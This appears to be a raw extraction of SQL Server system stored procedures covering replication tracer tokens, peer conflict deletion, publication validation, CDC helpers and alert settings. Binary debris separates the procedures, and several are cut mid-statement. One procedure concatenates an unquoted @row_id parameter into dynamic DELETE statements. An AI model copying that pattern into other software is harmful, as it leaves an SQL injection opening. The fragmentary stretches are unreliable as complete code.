		-- "No active subscriptions found! The publication must have active subscriptions in order to post a tracer token."
		raiserror (21488, 16, -1)
		goto FAILURE
	end
	
	-- For a heterogeneous publisher, bypass the post here.  The publisher will be
	-- contacted outside of the transaction to setup the appropriate event.
	if @publisher_type = N'MSSQLSERVER'
	begin
		-- Post the tracer token in the log prior to posting history for the subscribers
		-- this ensures that the token makes it into the log before we setup the list of  
		-- subscribers that should recieve the token. if list creation fails we can rollback
		select @tracer_str = cast(@tracer_token_id as nvarchar)
	
		exec @retcode = sys.sp_replpostcmd 0, @publication_id, @article_id, @TRACER_CMD_TYPE, @tracer_str
		if @@error <> 0 or @retcode <> 0
		begin
			-- "An error occured while inserting the tracer token to the log. The tracer token could not be posted."
    		raiserror (21487, 16, -1, @publication)
			goto FAILURE
		end
	end

	-- create the list of subscribers that are expected to recieve the tracer token
	select @rpc_cmd = quotename(@distributor) 
						+ N'.' + quotename(@distribution_db) 
						+ N'.sys.sp_MSadd_tracer_history'
	
	exec @retcode = @rpc_cmd @tracer_id = @tracer_token_id
	if @@error <> 0 or @retcode <> 0
	begin
		-- "An error occured while logging the tracer token history information. The tracer token could not be posted."
		raiserror (21486, 16, -1)
		goto FAILURE
	end

	commit transaction tr_sp_posttracertoken

	--
	-- NOTE :  DO NOT ALLOW THIS CALL IN A TRANSACTION!!!!
	--
	-- For a heterogeneous publisher, we insert a tracer event into the publisher's event table.
	-- The log reader will process the event when the xactset that the event is associated with
	-- is processed.
	if @publisher_type LIKE 'ORACLE%'
	begin
		select @tracer_str = cast(@tracer_token_id as nvarchar)
	
		exec @retcode = dbo.sp_ORAposttracertoken @publication_id, @article_id, @TRACER_CMD_TYPE, @tracer_str, @publisher
		if @@error <> 0 or @retcode <> 0
		begin
			-- "An error occured while inserting the tracer token into the log. The tracer token could not be posted."
    		raiserror (21487, 16, -1, @publication)
			return 1
		end
	end 

SUCCESS:
	return 0
	
FAILURE:
	rollback transaction tr_sp_posttracertoken
	commit transaction tr_sp_posttracertoken

	return 1
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	<_#aٌ08Z@ r8
create procedure sys.sp_MSdeletepeerconflictrow
(
	@originator_id nvarchar(32) = '%' ,--int
	@origin_datasource nvarchar(255) = '%', --int
	@tran_id nvarchar(40) = '%', --varbinary(16)
	@row_id nvarchar(19) = '%',  -- timestamp
	@conflict_table nvarchar(270)
)
as 
begin
    set nocount on
    declare @retcode int
                ,@cmd nvarchar(4000)
                ,@startoffset int
                ,@table	sysname
                ,@schema sysname
				,@whcmd nvarchar(4000) = N'(__$row_id is not null) '


    /*
    **  Security check.  restrict to 'sysadmin' and member of db_owner role
    */ 
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@ERROR <> 0 or @retcode <> 0
        return (1)

    if (@conflict_table is NULL)
    begin
        raiserror(14043, 16, 1, '@conflict_table', 'sp_MSdeletepeerconflictrow')
        return (1)
    end
    --
    -- check if the conflict table is owner qualified
    -- and build the delete string as necessary
    --
    select @table = PARSENAME(@conflict_table, 1),
    		@schema = PARSENAME(@conflict_table, 2)

    begin tran
    save tran tr_deletepeerconflictrow

    if (@row_id != N'%') --delete the corresponding winner or loser record
    begin
    	select @cmd = N'delete ' + ISNULL(NULLIF(QUOTENAME(@schema) + N'.', N'.'), N'') + QUOTENAME(@table) + N'
    				    where __$row_id in (
    						select __$row_id
    						from ' + ISNULL(NULLIF(QUOTENAME(@schema) + N'.', N'.'), N'') + QUOTENAME(@table) + N'
    						where __$change_id = ' + @row_id + N'
    						union
    						select __$change_id
    						from ' + ISNULL(NULLIF(QUOTENAME(@schema) + N'.', N'.'), N'') + QUOTENAME(@table) + N'
    						where __$row_id = ' + @row_id + N' and __$change_id is not null)'
    	 execute (@cmd)
    	 if @@error <> 0
    	 	goto UNDO
    end
    		
    select @cmd = 'delete ' + ISNULL(NULLIF(QUOTENAME(@schema) + N'.', N'.'), N'') + QUOTENAME(@table)

    if (@originator_id != N'%')
    begin
          select @whcmd = @whcmd + N' and __$originator_id = ' + QUOTENAME(@originator_id, '''')
    end
    if (@origin_datasource != N'%')
    begin
           select @whcmd = @whcmd + N' and __$origin_datasource = ' + QUOTENAME(@origin_datasource, '''')
    end
    if (@tran_id != N'%')
    begin
           select @whcmd = @whcmd + N' and __$tranid = ' + QUOTENAME(@tran_id, '''')
    end
    if (@row_id != N'%')
    begin
            select @whcmd = @whcmd + N' and __$row_id = ' + @row_id --delete the specified record: either loser or winner
    end
	select @cmd = @cmd + N' where ' + @whcmd
    execute (@cmd)
    if @@error <> 0
    	 	goto UNDO

    commit tran
    return (0)

UNDO:
   rollback tran tr_deletepeerconflictrow
   commit tran 

   raiserror(21542, 16, 1, @@error, 'sp_MSdeletepeerconflictrow')
   return (1)

end
0EZ@ 8--
-- Name: sp_hadr_verify_replication_publisher
--
-- Descriptions: Verify that the publisher is configured as 
--               a replication publisher. 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 on success; 1 on failure; raise error on failure.
--          On failure, temporary linked server is dropped.
--
-- Security: Internal stored procedure.
--
create procedure sys.sp_hadr_verify_replication_publisher
(
    @publisher sysname,
    @pubdbname sysname,
    @publisher_linked_server sysname,
	@drop_linked_server bit = 1
)
as
begin

    set nocount on
    set ANSI_WARNINGS on

    declare @cmd nvarchar(1000),
        @query nvarchar(100),
        @retcode int,
        @distributor sysname,
        @distributiondb sysname,
        @servername sysname,
        @dbname sysname,
        @original_error_number int,
        @original_error_message nvarchar(4000)
    
    set @servername = @@servername
    set @dbname = db_name()
    set @distributor = null
    set @distributiondb = null    
    set @retcode = 0    
        
	begin try
        set @cmd = quotename(RTRIM(@publisher_linked_server)) + '.master.sys.sp_executesql'
        set @query = 'exec master.sys.sp_helpdistributor @distributor = @p1 output, @distribdb = @p2 output'
			
        exec @retcode = @cmd @query, N'@p1 sysname output, @p2 sysname output', @distributor output, @distributiondb output
        
        if @retcode <> 0 
        begin
            raiserror(21885, 16, -1, @retcode)
        end
    end try
	
	begin catch
		exec sys.sp_hadr_get_current_error @original_error_number output, @original_error_message output
        if @drop_linked_server = 1
		begin
			exec sys.sp_hadr_drop_linked_server @publisher_linked_server
		end
        raiserror(21896, 16, -1, @publisher, @original_error_number, @original_error_message)
        set @retcode = 1
	end catch
	
	if @retcode <> 0
	    return @retcode
	
	-- If null was returned for the distributor and distribution database
	-- the remote server is not configured as a publisher.
	--
	if (@distributor is null) or (@distributiondb is null)
    begin
        if @drop_linked_server = 1
		begin
			exec sys.sp_hadr_drop_linked_server @publisher_linked_server
		end
        raiserror(21889, 16, -1, @publisher, @publisher, @servername, @pubdbname)
        return 1
    end

    -- If either the identified distributor is not the local server or
    -- the identified distribution database is not the current database,
    -- the target server is not a suitable publisher for the published
    -- database.
    --
	if (upper(@distributor) <> upper(@servername)) or
	    (rtrim(@distributiondb) <> @dbname)
    begin
        if @drop_linked_server = 1
		begin
			exec sys.sp_hadr_drop_linked_server @publisher_linked_server
		end
        raiserror(21890, 16, -1, @publisher, @distributor, @distributiondb, @pubdbname, @servername, @servername, @dbname)
        return 1
    end

	return @retcode
end	
ror <> 0 or @retcode <> 0
        return 1

    -- check this db is published
	if sys.fn_MSrepl_istranpublished(db_name(),1) <> 1
    begin
		-- "The database is not published."
		raiserror (18757, 16, -1)
		return 1
	end
	
	-- do not allow users to specify pub/pubdb unless at disdb
	if @publisher is not NULL
	begin
		-- Parameter ''%s'' must be NULL when this procedure is not being run from a distribution database.
		raiserror(20687, 16, -1, '@publisher', 'distribution')
		return 1
	end
	else if @publisher_db is not NULL
	begin
		-- Parameter ''%s'' must be NULL when this procedure is not being run from a distribution database.
		raiserror(20687, 16, -1, '@publisher_db', 'distribution')
		return 1
	end

	select @publisher = publishingservername(),
			@publisher_db = db_name()

	exec @retcode = sys.sp_helpdistributor @rpcsrvname = @distributor OUTPUT, 
											@distribdb = @distribution_db OUTPUT,
											@publisher = @publisher
	if @@error <> 0 or @retcode <> 0 or @distributor is NULL
	begin
		-- "The Distributor has not been installed correctly."
		raiserror(20036, 16, -1)
		return 1
	end

	select @distproc = QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(RTRIM(@distribution_db)) + '.sys.sp_MShelptracertokens'	
	exec @retcode = @distproc @publication 		= @publication,
								@publisher		= @publisher,	
								@publisher_db	= @publisher_db
	if @@error <> 0 or @retcode <> 0 
	begin
		return 1
	end

	return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!:`<9
`Fb04FO e8create procedure sys.sp_MShelpconflictpublications ( @publication_type varchar(9) ='%' )
AS 
BEGIN
    SET nocount ON
    declare @retcode int
                ,@fcheckpal bit

    --
    -- Decide if we need PAL security check - If sysadmin or dbo - skip PAL check
    --
    select @fcheckpal = case when  ((is_srvrolemember('sysadmin') = 1) or (is_member ('db_owner') = 1)) 
                                               then 0 else 1 end
    --
    -- validate publication type
    --
    IF NOT( lower(@publication_type collate SQL_Latin1_General_CP1_CS_AS) IN ('%', 'merge', 'queued', 'p2p') )
    BEGIN
        raiserror( 'invalid publication type', 16, -1 )
        RETURN (1)
    END
    -- temp table to store combined result set
    CREATE TABLE #result_list ( publication sysname collate database_default, publication_type VARCHAR(9) DEFAULT 'merge', 
			merge_pub_id UNIQUEIDENTIFIER NULL, 
			queued_pub_id INTEGER NULL, sub_agent_id INTEGER NULL, 
			publisher sysname collate database_default NULL, 
			publisher_db sysname collate database_default NULL,
			hasaccess bit not null default 1)
    --
    -- process according to publication type
    --
    IF ( lower(@publication_type collate SQL_Latin1_General_CP1_CS_AS) IN ('%', 'merge') )
    BEGIN
        --
        -- fetch merge results into temp table; need not affect any rows
        --
        IF EXISTS( SELECT * from sys.objects WHERE name = 'sysmergepublications' )
            INSERT #result_list ( publication, merge_pub_id, publisher, publisher_db)
                EXEC @retcode = sys.sp_MShelpmergeconflictpublications
        --
        -- may return 18757 (not merge published) and that is ok if @publication_type = ALL
        --
        IF ( @retcode <> 0 AND @@ERROR <> 0) AND ( @@ERROR = 18757 AND @publication_type = '%' ) 
            GOTO FAILURE
    END
    IF ( lower(@publication_type collate SQL_Latin1_General_CP1_CS_AS) IN ('%', 'queued', 'p2p') )
    BEGIN
        --
        -- fetch tran results into temp table
        --
        INSERT #result_list  ( publication, publication_type, merge_pub_id , queued_pub_id, sub_agent_id )
            EXEC @retcode = sys.sp_MShelptranconflictpublications @publication_type = '%'
        IF ( @retcode <> 0 AND @@ERROR <> 0) 
            GOTO FAILURE
    END
    --
    -- PAL check related processing
    --
    if (@fcheckpal = 1)
    begin
        --
        -- check for PAL for each publication
        --
        declare @publication sysname
                    ,@pubtype sysname
                    ,@mergepubid uniqueidentifier
                    ,@tranpubid int
        declare #hc  cursor local fast_forward for 
            select publication, publication_type,  merge_pub_id, queued_pub_id
            from #result_list 
        open #hc
        fetch #hc into @publication, @pubtype, @mergepubid, @tranpubid
        while (@@fetch_status <> -1)
        begin
            if (@pubtype = 'merge')
            begin
                if ({fn ISPALUSER(@mergepubid)} != 1)
                begin
                    --
                    -- no access for this publication
                    --
                    update #result_list set hasaccess = 0 
                    where merge_pub_id = @mergepubid
                end
            end
            else if (@pubtype in ('queued', 'p2p'))
            begin
                --
                -- tran specific PAL check
                --
                exec @retcode = sp_MSreplcheck_pull
                        @publication = @publication,
                        @raise_fatal_error = 0
                 if (@@error != 0) or (@retcode != 0)
                begin
                    --
                    -- no access for this publication
                    --
                    update #result_list set hasaccess = 0 
                    where queued_pub_id = @tranpubid
                end
            end
            --
            -- get next publication
            --
            fetch #hc into @publication, @pubtype, @mergepubid, @tranpubid
        end
        close #hc
        deallocate #hc
    end
    --
    -- return combined result list where access is set
    --
    select publication, publication_type, merge_pub_id, queued_pub_id
        ,sub_agent_id, publisher, publisher_db
    from #result_list 
    where hasaccess = 1
    --
    -- all done
    --
    RETURN (0)

FAILURE:
    IF EXISTS( SELECT * FROM sys.objects WHERE type = 'U' AND name = '#result_list' )
        DROP TABLE #result_list
    RETURN (1)    
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<
a0:@ 	8
--
-- Name:
--		sp_IHCheckSourceTable
--
-- Description:
--		Verify source table for publishing
--
-- Inputs:
--		@publisher_type		== publisher type
--		@publisher			== publisher name
--		@source_table		== source table
--		@source_owner		== source table owner
--		@publication_type	== publication type (tran == 0; snapshot == 1)
--
-- Returns:
--		Return code (0 for success, 1 for failure)
--
-- Security:
--		Internal
--
-- Notes:
--		Used by sp_addarticle to verify a HREPL source table
--

CREATE PROCEDURE sys.sp_IHCheckSourceTable
(
	@publisher_type		sysname,
	@publisher			sysname,
	@source_table		sysname,
	@source_owner		sysname,
	@publication_type	int
)
AS
BEGIN
	DECLARE @retcode	int
	DECLARE @index		int

    /*
    ** Parameter Check: @publisher.
    ** The @servername name cannot be NULL and must conform to the rules
    ** for identifiers.
    */
    IF @publisher IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@publisher', 'sp_IHCheckSourceTable')
        RETURN (1)
    END

    EXECUTE @retcode = dbo.sp_validname @publisher

    IF @retcode <> 0
    BEGIN
		RETURN (1)
	END

    /*
    ** Parameter Check: @source_table.
    ** The @source_table name cannot be NULL 
    */
    IF @source_table IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@source_table', 'sp_IHCheckSourceTable')
        RETURN (1)
    END

	-- these are valid special chars that we do not accept
	select @index = charindex( N'#', @source_table)
	if (@index <> 0)
	begin
		raiserror(15006,16,-1,@source_table)
		return (1)
	end
	
	select @index = charindex( N'!', @source_table)
	if (@index <> 0)
	begin
		raiserror(15006,16,-1,@source_table)
		return (1)
	end
		
    /*
    ** Parameter Check: @source_owner.
    ** The @source_owner name cannot be NULL
    */
    IF @source_owner IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@source_owner', 'sp_IHCheckSourceTable')
        RETURN (1)
    END

	-- Check source for specific providers
	IF @publisher_type LIKE 'ORACLE%'
	BEGIN
		EXEC @retcode = sys.sp_ORACheckSourceTable
						@publisher			= @publisher,
						@source_table		= @source_table,
						@source_owner		= @source_owner,
						@publisher_type		= @publisher_type,
						@publication_type	= @publication_type
	END
	ELSE
	BEGIN
		RAISERROR (21643, 16, -1, '@publisher_type')
		RETURN (1)
	END

	RETURN (@retcode)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`aA
<
b2dC0Ł@ W8
CREATE PROCEDURE sys.sp_publication_validation
(
	@publication 	sysname,	/* publication name */
	@rowcount_only 	smallint = 1,	/* type of check requested */       
	@full_or_fast 	tinyint = 2,	/* full (0) fast (1), or conditional fast (2)  method to calculate rowcount */
	@shutdown_agent bit = 0,	/* shut down agent after validation if 1 */
	@publisher 	sysname = NULL	/* only non-null for heterogeneous publishers */	
)
AS
BEGIN
	DECLARE @cmd			nvarchar(4000)
	DECLARE @retcode		int
	DECLARE @publisher_type	sysname

	SET @retcode = 0

	
	-- Security Check
	-- No reason anyone but Sysadmin or dbo of publishing db should run this
	exec @retcode = sys.sp_MSreplcheck_publish
	if @@error <> 0 or @retcode <> 0
	begin
		return (1)
	end
	
	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher      = @publisher,
													@publisher_type	= @publisher_type OUTPUT,
													@rpcheader      = @cmd OUTPUT
	
	IF @retcode <> 0
		RETURN (@retcode)

	if (@publisher_type = 'MSSQLSERVER')
	begin
		
		SET @cmd = @cmd + N'dbo.sp_MSpublication_validation '

		EXEC @retcode = @cmd
				@publication,
				@rowcount_only,
				@full_or_fast,
				@shutdown_agent
					
	end
	else
	begin
		-- Heterogeneous articles are handled directly by sp_IHpublication_validation
		SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
		set @cmd = @cmd + N'sys.sp_IHpublication_validation '

		EXEC @retcode = @cmd
				@publication,
				@rowcount_only,
				@full_or_fast,
				@shutdown_agent,
				@publisher
	end	

	RETURN (@retcode)
END
0Oՙ@ M8create procedure sys.sp_MSgetalertinfo
	@includeaddresses bit = 0
as
	/* Return all alert info at one go, for performance reasons. */
	declare @FailSafeOperator nvarchar(255)
	declare @NotificationMethod int
	declare @ForwardingServer nvarchar(255)
	declare @ForwardingSeverity int
	declare @ForwardAlways int
	declare @PagerToTemplate nvarchar(255)
	declare @PagerCCTemplate nvarchar(255)
	declare @PagerSubjectTemplate nvarchar(255)
	declare @PagerSendSubjectOnly int
	declare @FailSafeEmailAddress nvarchar(255)
	declare @FailSafePagerAddress nvarchar(255)
	declare @FailSafeNetSendAddress nvarchar(255)

	exec sys.xp_instance_regread N'HKEY_LOCAL_MACHINE', N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent', N'AlertFailSafeOperator', @param = @FailSafeOperator OUT, @no_output = N'no_output'
	exec sys.xp_instance_regread N'HKEY_LOCAL_MACHINE', N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent', N'AlertNotificationMethod', @param = @NotificationMethod OUT, @no_output = N'no_output'
	exec sys.xp_instance_regread N'HKEY_LOCAL_MACHINE', N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent', N'AlertForwardingServer', @param = @ForwardingServer OUT, @no_output = N'no_output'
	exec sys.xp_instance_regread N'HKEY_LOCAL_MACHINE', N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent', N'AlertForwardingSeverity', @param = @ForwardingSeverity OUT, @no_output = N'no_output'
	exec sys.xp_instance_regread N'HKEY_LOCAL_MACHINE', N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent', N'AlertForwardAlways', @param = @ForwardAlways OUT, @no_output = N'no_output'
	exec sys.xp_instance_regread N'HKEY_LOCAL_MACHINE', N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent', N'AlertPagerToTemplate', @param = @PagerToTemplate OUT, @no_output = N'no_output'
	exec sys.xp_instance_regread N'HKEY_LOCAL_MACHINE', N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent', N'AlertPagerCCTemplate', @param = @PagerCCTemplate OUT, @no_output = N'no_output'
	exec sys.xp_instance_regread N'HKEY_LOCAL_MACHINE', N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent', N'AlertPagerSubjectTemplate', @param = @PagerSubjectTemplate OUT, @no_output = N'no_output'
	exec sys.xp_instance_regread N'HKEY_LOCAL_MACHINE', N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent', N'AlertPagerSendSubjectOnly', @param = @PagerSendSubjectOnly OUT, @no_output = N'no_output'

	if (@includeaddresses <> 0) begin
		exec sys.xp_instance_regread N'HKEY_LOCAL_MACHINE', N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent', N'AlertFailSafeEmailAddress', @param = @FailSafeEmailAddress OUT, @no_output = N'no_output'
		exec sys.xp_instance_regread N'HKEY_LOCAL_MACHINE', N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent', N'AlertFailSafePagerAddress', @param = @FailSafePagerAddress OUT, @no_output = N'no_output'
		exec sys.xp_instance_regread N'HKEY_LOCAL_MACHINE', N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent', N'AlertFailSafeNetSendAddress', @param = @FailSafeNetSendAddress OUT, @no_output = N'no_output'
	end

	select
		AlertFailSafeOperator = @FailSafeOperator,
		AlertNotificationMethod = @NotificationMethod,
		AlertForwardingServer = @ForwardingServer,
		AlertForwardingSeverity = @ForwardingSeverity,
		AlertPagerToTemplate = @PagerToTemplate,
		AlertPagerCCTemplate = @PagerCCTemplate,
		AlertPagerSubjectTemplate = @PagerSubjectTemplate,
		AlertPagerSendSubjectOnly = @PagerSendSubjectOnly,
		AlertForwardAlways = ISNULL(@ForwardAlways, 0)

	if (@includeaddresses <> 0)
		select
			AlertFailSafeEmailAddress = @FailSafeEmailAddress,
			AlertFailSafePagerAddress = @FailSafePagerAddress,
			AlertFailSafeNetSendAddress = @FailSafeNetSendAddress
ys.columns
		where object_id = object_id(@change_table)
		and name = rtrim(@column_name)
	)
	begin
		return null
	end
			
	select @ordinal_position = [sys].[fn_cdc_get_column_ordinal] (rtrim(@capture_instance)
		,@column_name)
			
	select @is_bit_set = [sys].[fn_cdc_is_bit_set](@ordinal_position,
		@update_mask)
			
	return @is_bit_set
end																				
0n ?8-- This function takes a string as input and returns true if the type
-- in the string is blob. This function is called in places that have
-- to do some special processing for blob columns.
create function sys.fn_IsTypeBlob (@system_type_id int, @max_length int)
returns bit
as
begin
    declare @IsBlob bit

    if type_name(@system_type_id) in ('image', 'text', 'ntext', 'xml') or @max_length = -1
    begin
        set @IsBlob = 1
    end     
    else
    begin
        set @IsBlob = 0
    end

    return @IsBlob
end
    @vendor_name is null
            )
      and (@publication is null or pubs.publication = @publication)
END
0
@ 8create procedure sys.sp_MSreplcheck_publish 
as
begin
    --
    -- Do the sysadmin check first as it is 4 times more efficient
    -- than is_member call and reduces performance overhead in case 
    -- the user has sysadmin privileges
    --
    if    is_srvrolemember('sysadmin') = 1 or
        is_member ('db_owner') = 1
    begin
        return (0)
    end
    else
    begin
        raiserror (21050, 14, -1)
        return (1)
    end
end
0I@ 8create procedure sys.sp_cdc_help_jobs_internal
with execute as 'dbo'
as
begin
    set nocount on

    if object_id('msdb.dbo.cdc_jobs') is not null
    begin
        select j.job_id as job_id,
            j.job_type as job_type,
            s.name as job_name,
            j.maxtrans as maxtrans,
            j.maxscans as maxscans,
            j.continuous as continuous,
            j.pollinginterval as pollinginterval,
            j.retention as retention,
            j.threshold as threshold
        from msdb.dbo.cdc_jobs j inner join msdb.dbo.sysjobs s
        on j.job_id = s.job_id
        where database_id = db_id()

    end

    return(0)
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!4[6`*<c)09f 8create procedure sys.sp_vupgrade_replication ( @login sysname = NULL, @password sysname = N'', @ver_old int = 517, @force_remove tinyint = 0, @security_mode bit = 1 )
as
begin

    -- TEST: This line was added to test proc updates on the patching improvement

    set nocount on 

    declare @dbname sysname
    declare @has_dbaccess bit
    declare @retcode int
    declare @cmd nvarchar(4000)

    -- db bits
    declare @db_distbit int
    select @db_distbit = 16

    -- version check
    declare @ver_min            int
    declare @ver_retention        int

    select @ver_retention = 576 --build # on 9/17

    -- raiserror('sp_vupgrade_replication', 0,1) with nowait
    /*
    ** Security Check: require sysadmin
    */
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN (1)
    END

    -- Check to ensure a login is provided if security mode is SQL Server authentication.
    select @login = rtrim(ltrim(isnull(@login, '')))
    if @security_mode = 0 and @login = ''
    begin
        -- '@login cannot be null or empty when @security_mode is set to 0 (SQL Server authentication).'
        raiserror(21694, 16, -1, '@login', '@security_mode')
        return 1
    end

    /*
    ** Mark master.dbo.MSreplication_options as system object so it can be freely
    ** accessible by resource database objects
    */
    if object_id('master.dbo.MSreplication_options', 'U') is not null
